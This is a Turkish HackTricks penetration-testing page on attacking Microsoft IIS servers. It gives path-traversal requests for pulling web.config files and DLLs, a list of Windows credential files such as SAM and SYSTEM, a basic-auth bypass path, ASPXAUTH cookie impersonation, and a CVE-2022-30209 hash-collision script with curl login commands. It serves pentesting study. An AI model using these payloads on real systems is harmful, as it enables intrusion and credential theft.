16 KiB
IIS - Internet Information Services
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family koleksiyonumuzu keşfedin, özel NFT'lerimiz koleksiyonu
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks](https://github.com/carlospolop/hacktricks) ve HackTricks Cloud github depolarına katkıda bulunun.
Test yürütülebilir dosya uzantıları:
- asp
- aspx
- config
- php
Dahili IP Adresi ifşası
302 alınan herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanarak içerideki yanıtın Location başlığının dahili IP adresine işaret edip etmediğini kontrol edebilirsiniz:
nc -v domain.com 80
openssl s_client -connect domain.com:443
<h2>İç IP adresini ifşa eden yanıt:</h2>
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
.config Dosyalarını Yürütme
.config dosyalarını yükleyebilir ve kodu yürütmek için bunları kullanabilirsiniz. Bunun bir yolu, kodu dosyanın sonuna bir HTML yorumu içine eklemektir: Örneği buradan indirin
Bu zafiyeti sömürmek için daha fazla bilgi ve teknikler burada
IIS Keşif Bruteforce
Oluşturduğum listeyi indirin:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Bu liste aşağıdaki listelerin içeriğini birleştirerek oluşturulmuştur:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Uzantı eklemeksizin kullanın, ihtiyacı olan dosyalar zaten içermektedir.
Yol Geçişi
Kaynak kodu sızdırma
Tam açıklamayı kontrol edin: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
Özet olarak, uygulamanın klasörlerinde "assemblyIdentity" dosyalarına ve "namespaces"e referans veren birkaç web.config dosyası bulunmaktadır. Bu bilgi ile uygulamanın nerede yürütülebilir dosyaların bulunduğunu bilmek mümkündür ve bunları indirebilirsiniz.
İndirilen Dll'lerden, yeni namespaces bulunabilir ve erişmeye çalışmanız gereken yeni namespaces ve assemblyIdentity'leri bulmak için web.config dosyasını alabilirsiniz.
Ayrıca, connectionstrings.config ve global.asax dosyaları ilginç bilgiler içerebilir.\
{% endhint %}
.Net MVC uygulamalarında, web.config dosyası, uygulamanın her bir ikili dosyaya "assemblyIdentity" XML etiketleri aracılığıyla bağımlı olduğunu belirleyerek önemli bir rol oynar.
İkili Dosyaları Keşfetme
Aşağıda web.config dosyasına erişimin bir örneği gösterilmektedir:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Bu istek, çeşitli ayarları ve bağımlılıkları ortaya çıkarır, örneğin:
- EntityFramework sürümü
- Web sayfaları, istemci doğrulaması ve JavaScript için AppSettings
- Kimlik doğrulama ve çalışma zamanı için System.web yapılandırmaları
- System.webServer modüller ayarları
- Microsoft.Owin, Newtonsoft.Json ve System.Web.Mvc gibi birçok kütüphane için Runtime derleme bağlantıları
Bu ayarlar, belirli dosyaların, örneğin /bin/WebGrease.dll gibi, uygulamanın /bin klasöründe bulunduğunu gösterir.
Kök Dizin Dosyaları
/global.asax ve hassas şifreler içeren /connectionstrings.config gibi kök dizinde bulunan dosyalar, uygulamanın yapılandırması ve işleyişi için önemlidir.
Ad Alanları ve Web.Config
MVC uygulamaları, her dosyada tekrarlayan deklarasyonlardan kaçınmak için belirli ad alanları için ek web.config dosyaları tanımlar, başka bir web.config dosyasını indirmek için yapılan bir istekte olduğu gibi.
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
DLL'lerin İndirilmesi
Özel bir ad alanından bahsedilmesi, /bin dizininde bulunan "WebApplication1" adlı bir DLL'ye işaret ediyor. Buna bağlı olarak, WebApplication1.dll'nin indirilmesi için bir istek gösterilmiştir:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Bu, /bin dizininde System.Web.Mvc.dll ve System.Web.Optimization.dll gibi diğer önemli DLL'lerin varlığını işaret eder.
Bir DLL'nin WebApplication1.Areas.Minded adında bir ad alanı içe aktardığı bir senaryoda, saldırgan, /bin klasöründeki diğer DLL'leri referans alan belirli yapılandırmaları ve referansları içeren, öngörülebilir yollardaki diğer web.config dosyalarının varlığını çıkarabilir. Örneğin, /Minded/Views/web.config'a yapılan bir istek, varlığı gösteren yapılandırmalar ve ad alanları ortaya çıkarabilir, başka bir DLL olan WebApplication1.AdditionalFeatures.dll.
Ortak dosyalar
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Hatası
Eğer aşağıdaki gibi bir hata görürseniz:
Bu, sunucunun Doğru etki alanı adını Host başlığı içinde almadığı anlamına gelir. Web sayfasına erişmek için sunulan SSL Sertifikası'na bakabilir ve belki de etki alanı/alt etki alanı adını orada bulabilirsiniz. Eğer orada değilse, doğru olanı bulana kadar VHost'ları brute force etmeniz gerekebilir.
Araştırılmaya Değer Eski IIS Zayıflıkları
Microsoft IIS tilde karakteri "~" Zayıflığı/Özelliği - Kısa Dosya/Klasör Adı Açıklaması
Bu tekniği kullanarak her keşfedilen klasörün içindeki klasörleri ve dosyaları numaralandırabilirsiniz (Bile Temel Kimlik Doğrulama gerektiriyorsa).
Bu tekniğin ana kısıtlaması, sunucunun zayıf olması durumunda her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini bulabilmesidir.
Bu zayıflığı test etmek için https://github.com/irsdl/IIS-ShortName-Scanner kullanabilirsiniz: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Orijinal araştırma: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Ayrıca metasploit'i kullanabilirsiniz: use scanner/http/iis_shortname_scanner
Temel Kimlik Doğrulaması Atlatma
Temel kimlik doğrulamasını atlayın (IIS 7.5) şu yolu deneyerek: /admin:$i30:$INDEX_ALLOCATION/admin.php
veya /admin::$INDEX_ALLOCATION/admin.php
Bu zayıflığı ve bir öncekinin birleştirerek yeni klasörler bulmaya ve kimlik doğrulamasını atlamaya çalışabilirsiniz.
ASP.NET Trace.AXD etkinleştirilmiş hata ayıklama
ASP.NET, bir hata ayıklama moduna sahiptir ve dosyası trace.axd
olarak adlandırılır.
Belirli bir süre boyunca bir uygulamaya yapılan tüm isteklerin çok detaylı bir günlüğünü tutar.
Bu bilgiler, uzak istemci IP'leri, oturum kimlikleri, tüm istek ve yanıt çerezleri, fiziksel yollar, kaynak kod bilgileri ve muhtemelen hatta kullanıcı adları ve şifreleri içerebilir.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Çerezi
ASPXAUTH aşağıdaki bilgileri kullanır:
validationKey
(dize): İmza doğrulaması için kullanılacak onaltılık kodlu anahtar.decryptionMethod
(dize): (varsayılan "AES").decryptionIV
(dize): onaltılık kodlu başlatma vektörü (sıfırlar vektörüne varsayılan olarak).decryptionKey
(dize): Şifre çözümü için kullanılacak onaltılık kodlu anahtar.
Ancak, bazı insanlar bu parametrelerin varsayılan değerlerini kullanacak ve çerez olarak kullanıcı e-postasını kullanacaklardır. Bu nedenle, ASPXAUTH çerezini kullanan aynı platformu kullanan bir web sitesi bulabilir ve saldırı altındaki sunucuda taklit etmek istediğiniz kullanıcının e-postasıyla bir kullanıcı oluşturabilirseniz, ikinci sunucudan aldığınız çerezi birinci sunucuda kullanarak kullanıcıyı taklit edebilirsiniz.
Bu saldırı, bu yazıda işe yaramıştır.
Önbelleğe Alınmış Şifrelerle IIS Kimlik Doğrulamasını Atlatma (CVE-2022-30209)
Tam rapor burada: Kodda bir hata, kullanıcı tarafından verilen şifreyi doğru bir şekilde kontrol etmediği için, şifre hash'i önbellekte bulunan bir anahtarı vurduğunda, saldırganın o kullanıcı olarak giriş yapabilmesine olanak tanır.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks](https://github.com/carlospolop/hacktricks) ve HackTricks Cloud github depolarına katkıda bulunun.